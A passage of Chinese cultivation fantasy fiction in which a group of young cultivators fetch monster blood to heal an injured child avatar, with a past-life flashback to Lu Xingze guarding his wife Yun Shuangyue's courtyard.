如今却罕见地跟在最后,像是要融进云霜月的影子里那样,一步步走着。
灯光下他的影子时不时会和云霜月的勾缠在一起,每次前面的女人走快一点导致两道影子分开时,陆行则几乎瞬间就会察觉到,随后也学着她走快。
然后他的影子就又重新渗透进了女人的影子中,又因为主人身形比云霜月的高大,以至于让他的影子像是将女人的影子一点点吞食进去了那样。
靠……怎么这么怪。
火曼儿又重新看了眼陆行则和云霜月,一人脸上是寻常那副云淡风轻的表情,另一个是对受伤孩子的担心,好像都挺正常的。
她晃了晃头,把自己脑子里那突然冒出出来的奇怪感觉甩掉。
想什么呢,都怪左邢那个人把自己带坏了。
等会去给他一拳吧。
“姐你们来了啊。”好巧不巧,刚踏出空间目标就出现了。
“火曼儿你又干嘛!我刚刚别说说话了,人都不在你旁边,这又是从哪惹到你了。”左邢的肩膀莫名其妙挨了火曼儿一拳,他捂着发痛的地方实在想不明白自己又从哪惹了这祖宗。
火曼儿对着自己的拳头吹了口气,将自己的麻花辫向后甩去:“单纯看你不爽不行吗。”
“你──!”
左邢觉得火曼儿彻底把自己的师兄身份当成摆设了,因为下一秒她顺手把他推倒了旁边:“好了,你这么大个人就别杵着挡道了。”
左邢被她推得一踉跄,但也没说话了,把位置让出来给云霜月和陆行则。
因为他身后就是老掌柜,此时空出的地方正好让陆行则看看那孩子的情况。
“掌柜,他怎么样了?”云霜月从陆行则身后探出个头来。
那早上一直没出现的独眼掌柜懒洋洋地看了眼他们,笑了一声说:“小姐倒也不必这么忧心,这小子又不是晕过去了不能说话,你自己问他吧?”
他用满是茧子的手拂了拂自己的麻布长衫,侧身将陆行则的分身露出来。
只见那孩子皱着眉头,冷汗从他的脸侧滑下,顺着他的视线可以看到他裸露的手腕上出现一条条伤口,隐约冒着黑气。
见自己面前落在了一道影子,熟悉的香气顺着洁白的裙摆朝男孩扑来。
他动作顿了一下,随后睁大眼睛抬头看向女人,抿了抿嘴竟蓄了一窝浅浅的水色在眼底。
果然,见了他这个表情,下一秒云霜月的手就又落到了他的脸侧,替他拭去泪水。
柔软的手心碰上男孩的脸颊,他蹭动几下,然后将鼻尖抵在了云霜月的手腕内侧不动了。
他被本体打断的,那戛然而止的食欲再次翻涌而上,好像要从自己的喉咙中挣脱出来。
好饿。
炙热的呼吸洒在云霜月的皮肤上,让她下意识躲了一下。
男孩金色的眼瞳动了动,留恋地嗅闻几下后将头转回来,这几个动作仅在几秒之间就完成了,云霜月没发现异常。
“只是有些疼。”他敛下眼皮,样子颇为乖巧地说:“我出来的时候突然感觉手腕很痛,掀开袖子发现上面不知为何多了几道伤口。幸好遇上了老先生,他给我熬了碗药,现在好多了。”
听了这话,老掌柜用那颗浑浊的琥珀色眼睛轻飘飘看了男孩一眼,随后又转回来呵呵笑了几声:“他现在的情况可算不上好,我的药还需要最后一味。”
“是需要我们帮忙拿到吗?您不妨直说。”云霜月读懂了掌柜的潜台词。
“哈哈,小姐很聪明。这味药材需要你们从这个镇子的魔物身上,替我取来一瓶它的血。”他摸了摸衣服上那歪斜的八卦图:“过了这么久,你们应该也知道了些和这镇子有关的事情吧?”
“可以。”陆行则直接应了下来。
左邢听到这话,往陆行则那挪了两步低声问道:“你怎么这么快就答应了,那老头也没告诉我们魔物危不危险,具体有几只咱们都不知道啊。”
“迟早都要答应的,在我们弄清楚怎么离开这个阵法前,分身一个都不能死。”陆行则回答。
姬芜珩也在旁边点点头:“确实,陆行则说的对,我们要先救这个孩子。”
他对老掌柜一拱手:“老先生方便告知我们魔物的位置吗?”
“好说。这是镇子的地图,你们前往镇南的竹林里,随后按照图纸上的标记走就能碰上他们。”随后老掌柜掏出一个瓷瓶递给陆行则:“用魔物血装满这个瓶子就好。”
见陆行则接过瓷瓶,云霜月思索一番后对他开口道:“我的灵力目前帮不上你们什么忙,就留下来陪着小则吧。”
男孩闻言就将头埋到云霜月柔软的腹部,轻轻拱了几下,动作比陆行则说话还快。
云霜月也没拒绝,还顾着他的伤口,安慰似地摸摸他头。
“……”
看着这场景,陆行则没说话,好一会儿才点头,表示自己知道了。
——
镇南。
落日的暮光斜斜切进竹林,几人的脚步声惊飞了林中的宿鸟。
“喂,左邢你是不是惹陆行则了?我感觉他今天心情不怎么好啊。”火曼儿看着一个人走在前面的少年,用手
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肘怼了怼左邢。
“我又怎么了,我今天都没和他讲几句话好吗。”左邢有些无语:“你怎么光来质问我,不是还有姬芜珩吗?你问问他呗。”
“我?这我也不是很清楚……小心!”姬芜珩听到两人斗嘴的话,完全不想掺合进去,结果出口的话刚说一般,余光就瞥到一抹迅即的黑影闪过。
随着他的话音落下,其余几人也在瞬间抽出自己的佩剑。
是许多只看起来和狼极为相似的魔物!
它们的脊柱弓起时带出骨笛般的嘶鸣,腐坏的竹节在它们的脊背上翻涌生长。
就在魔物即将扑上来的时候,陆行则动了。
他召唤出赤霄剑,剑身浮动的铭文和火焰同时升起,几乎瞬间就斩向了前面的魔物。
“豁,今天打这么凶啊?”左邢惊讶了一下。
“他之前在百盟大比的时候也是这么揍对面的?他一直都打这么狠啊?”火曼儿扭扭脖子,抽空问了下姬芜珩。
姬芜珩摇摇头,百盟大比的时候也未见陆行则打法如此激进,至于火曼儿后面问的那句陆行则是不是一直都这样,他也不是很清楚。
今天是第一次见。
不过这一世的姬芜珩确实是今天第一次看到陆行则下杀手的样子。
但要是让上辈子的姬芜珩来说,什么时候第一次看见陆行则这个样子,却是在清淮。
前世的姬芜珩在医术上有所大成,在修真界也算混了个“神医”的名头当当。
某天收到了已经是剑衡仙君的陆行则所传来的信件,问他有没有空去清淮看看他妻子的病。
对于陆行则的妻子,他也只闻其名不知其人,清淮云氏的大小姐有寻常医师难以治疗的病症吗?这封信勾起了他的好奇心,想着近日确实无事,就按照信件上的地址来到了下界的清淮城。
结果一到陆行则信中提到的院落那,就看到闻名修真界的剑衡仙君在门口揍人。
没用剑,没用法器,纯粹用拳头一个接一个落下。
半句废话也不说。
他手下那人肌肉健硕,那时却手脚并用地向院落大门爬去,陆行则就上前拎着那人的领子给拖回来,粗暴的像在拖什么死物一样。
接着再是几拳下去,才笑着对地上那即将昏死的大汉说:“我不是警告过云氏的人不准靠近这座院落一步吗?你们听不懂人话?”
地上满是的血迹,还横着几个彻底昏死过去的人。
幸亏姬芜珩是医师,对这血腥的场面也算适应,他只是抬脚绕过那堆人,有些感叹得对陆行则说:“他们是来找你妻子麻烦的吗?看来你很爱她。”
谁知陆行则听到这话却有些不适应地挠挠脸:“别说的这么肉麻,我只是把云霜月当我朋友来着。”
他掐诀将自己身上的血迹清除,然后又召唤出自己的灵宠,跟个管家一样指挥它们把地上的血迹和人都弄干净。
“朋友……?”姬芜珩的语气有些微妙:“那你现在又是像护卫一样替她扫除麻烦,又是和管事那样处理这些东西。”
陆行则整理自己身上的衣物,闻了闻有没有什么异味,听了姬芜珩的话后下意识就答道:“对啊,我就不能又当她的朋友,又当她的夫君吗?有时候当个侍卫,再当当她的管家……”
这有什么。
他还会在云霜月吃不下那堆他从外面带来的点心时充当她的垃圾桶,在给云霜月挑衣服的时候充当她的衣架,在……反正他在云霜月那的身份多到数不过来。
这有什么?